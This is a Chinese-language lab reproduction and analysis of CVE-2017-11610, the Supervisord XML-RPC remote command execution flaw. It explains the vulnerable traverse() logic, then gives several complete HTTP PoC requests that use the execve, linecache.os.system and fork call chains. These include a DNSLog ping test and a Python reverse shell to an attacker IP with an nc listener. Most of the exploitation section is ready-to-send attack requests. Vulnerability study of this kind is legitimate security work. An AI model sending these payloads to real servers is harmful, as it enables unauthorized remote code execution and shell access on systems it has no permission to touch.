[CVE-2017-11610] Supervisord远程命令执行漏洞复现
0x00 漏洞概述
编号为CVE-2017-11610。
Supervisord是使用Python开发的进程管理程序,能够将命令行进程或服务变为后台运行的daemon(守护进程)。Supervisord拥有监控进程状态的能力,在进程异常退出时能够重新启动进程。
The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.
Supervisord在配置了Web接口后,服务器会启动一个XML-RPC服务器,端口为9001。在获取接口访问权限后,攻击者可以利用构造请求达成RCE。
影响版本:Supervisord < 3.0.1, 3.1.x < 3.1.4, 3.2.x < 3.2.4, 3.3.x < 3.3.3。
0x01 漏洞分析
配置
Supervisord的功能角色类似于Linux自带的Systemd。相比于Systemd,Supervisord有几个特点:
- 配置简单;
- 作为简单的第三方应用,不与系统产生耦合;
- 提供基于HTTP的API,支持远程操作。
Supervisord为C-S架构,Server以服务形式在系统后台运行,Client是一个命令行工具,根据用户需求调用API。
查看Supervisord的配置文件可知,默认情况下,Supervisord的Server端监听unix套接字
unix:///tmp/supervisor.sock,Client配置的
serverurl也是这个地址。
[unix_http_server] file=/tmp/supervisor.sock ; the path to the socket file ;chmod=0700 ; socket file mode (default 0700) ;chown=nobody:nogroup ; socket file uid:gid owner ;username=user ; default is no username (open server) ;password=123 ; default is no password (open server) ;[inet_http_server] ; inet (TCP) server disabled by default ;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface ;username=user ; default is no username (open server) ;password=123 ; default is no password (open server) [supervisorctl] serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket ;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket ;username=chris ; should be same as in [*_http_server] if set ;password=123 ; should be same as in [*_http_server] if set ;prompt=mysupervisor ; cmd line prompt (default "supervisor") ;history_file=~/.sc_history ; use readline history if available
Client去连接配置好的
serverurl,使用RPC协议进行通信。通过XML,将
methodName和
params传入服务端进行执行。如:
supervisorctl start [进程名]
此时
start指令会调用
supervisor.startProcess方法。
另外,如果设置了
[inet_http_server]这一段(上述配置中被注释),即可将Supervisord监听在TCP端口上,这样其它外部程序也可以调用,默认配置在9001端口。
源码
这个漏洞的本质是不安全的对象引用+方法调用,类似于Java反序列化漏洞的意味。
Supervisord就是C-S架构的基于RPC(远程过程调用协议)的通信过程,Client通过RPC调用Server的某个函数并得到返回结果,如果出现Server端策略外的调用(如
os.system)则导致RCE。
RPC出于安全考虑会设置函数映射,Client只能调用白名单中的部分函数,且函数名已经通过映射。
3.3.2版本中,如下处理RPC:
class supervisor_xmlrpc_handler(xmlrpc_handler): ... def call(self, method, params): return traverse(self.rpcinterface, method, params) def traverse(ob, method, params): path = method.split('.') for name in path: if name.startswith('_'): # security (don't allow things that start with an underscore to # be called remotely) raise RPCError(Faults.UNKNOWN_METHOD) ob = getattr(ob, name, None) if ob is None: raise RPCError(Faults.UNKNOWN_METHOD) try: return ob(*params) except TypeError: raise RPCError(Faults.INCORRECT_PARAMETERS)
supervisor_xmlrpc_handler类用于处理RPC请求,其中的
call方法才是真正执行远程调用的函数。
call中使用了
traverse,其函数逻辑是:
- 针对
method
,按点号分割存入数组path
; - 遍历数组,获得
name
,依据为是否以_
开头; - 如果不以
_
开头,则获取ob
对象的name
属性,作为新的ob
对象; - 遍历完成后获得最终的
ob
对象,对其调用。
这个函数的最终效果就是:初始输入的ob
对象下面的任意public方法,包括所有递归子对象的任意public方法,都可以被调用。
此处的
ob对象就是
self.rpcinterface,但是(猜测)开发人员认为调用范围被限制在了该对象内部,就并没有做严格的白名单。然而CVE-2017-11610的发现者却发现,在
self.rpcinterface.supervisor.supervisord.options对象下,存在方法
execve,相当于直接调用了系统的
os.execve,可以达成RCE了。
class ServerOptions(Options): ... def execve(self, filename, argv, env): return os.execve(filename, argv, env)
PoC
POST /RPC2 HTTP/1.1 Host: 192.168.31.39:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 439 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.execve</methodName> <params> <param> <string>/usr/local/bin/python</string> </param> <param> <array> <data> <value><string>python</string></value> <value><string>-c</string></value> <value><string>import os;os.system('touch /tmp/success');</string></value> </data> </array> </param> <param> <struct> </struct> </param> </params> </methodCall>
漏洞发现者使用的调用链为
self.rpcinterface.supervisor.supervisord.options.execve,并基于此构造PoC。实际上这个原始PoC存在遗憾,因为Python的
os.execve()函数会使用新进程替代当前进程,导致Supervisord本身退出,也就没有权限维持。
如果使用Docker模拟靶机(或者生产环境真的使用了Docker),当基础进程Supervisord退出时,会导致整个Docker容器的退出,漏洞利用局限在了一次性的命令(如写文件)。
PoC改进
针对以上问题,通过发掘其它的调用链得以解决。存在
supervisor.supervisord.options.warnings.linecache.os.system()可以利用(寻找非下划线
_开头的属性中是否存在引入了
os模块的情况而得到的结果),
linecache具有更佳的利用条件。
构造PoC:
POST /RPC2 HTTP/1.1 Host: 192.168.31.39:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 275 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
PoC又一改进
在原先的
self.rpcinterface.supervisor.supervisord.options中,存在一个
fork方法是调用了系统的
os.fork函数。
os.fork的作用是在当前进程派生一个新的子进程。所以即使当前进程被意外终止,也不会导致整个Supervisord退出,因为派生进程还存活。
先构造新子进程:
POST /RPC2 HTTP/1.1 Host: 192.168.31.39:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 133 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.fork</methodName> <params> </params> </methodCall>
然后发送最初版本的PoC即可。
0x02 利用流程
靶机:192.168.31.39,攻击机:192.168.31.197。
访问靶机
是一台版本3.3.2的Supervisord。
先行测试
针对无回显的机器,可以使用DNSLog进行初步验证。
POST /RPC2 HTTP/1.1 Host: 192.168.31.39:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 275 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>ping mcxx8o.dnslog.cn</string> </param> </params> </methodCall>
确认漏洞可以利用。
反弹Shell
攻击机开启监听:
nc -lvp 6666
再次构造请求,写反弹Shell:
POST /RPC2 HTTP/1.1 Host: 192.168.31.39:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 425 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.31.197',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"</string> </param> </params> </methodCall>
一直处于请求状态说明执行成功,此时在攻击机就拿到了Shell:
0x03 补充
几个条件:
- 版本符合
- RPC可被访问
- RPC弱密码或无密码
漏洞利用的关键是RPC的访问权限。实际上,默认配置的Supervisord只监听unix套接字,外部IP根本无法访问,所以实际上利用条件很苛刻。另外,即使拿到了低权限,也无法通过访问本地unix套接字进行提权——supervisor.sock的默认权限为0700,其它用户无法访问且能够访问的用户具有相同权限,也就无从提权。
当然,能够遇到RPC配置疏忽,得以查看服务器文件,已经是很不错的攻击成果了。
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
- Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现
- Supervisord 远程命令执行漏洞(CVE-2017-11610)
- CVE-2017-8464 远程命令执行漏洞复现
- Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- CVE-2017-8464远程命令执行漏洞复现
- 【漏洞公告】CVE-2017-11610:Supervisord 远程命令执行漏洞
- 利用Vulnhub复现漏洞 - Couchdb 任意命令执行漏洞(CVE-2017-12636)
- 利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)
- Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)复现
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 利用Vulnhub复现漏洞 - Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- DHCP命令执行CVE-2018-1111漏洞复现
- 利用Vulnhub复现漏洞 - GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)
- 利用Vulnhub复现漏洞 - Jenkins远程命令执行漏洞(CVE-2018-1000861)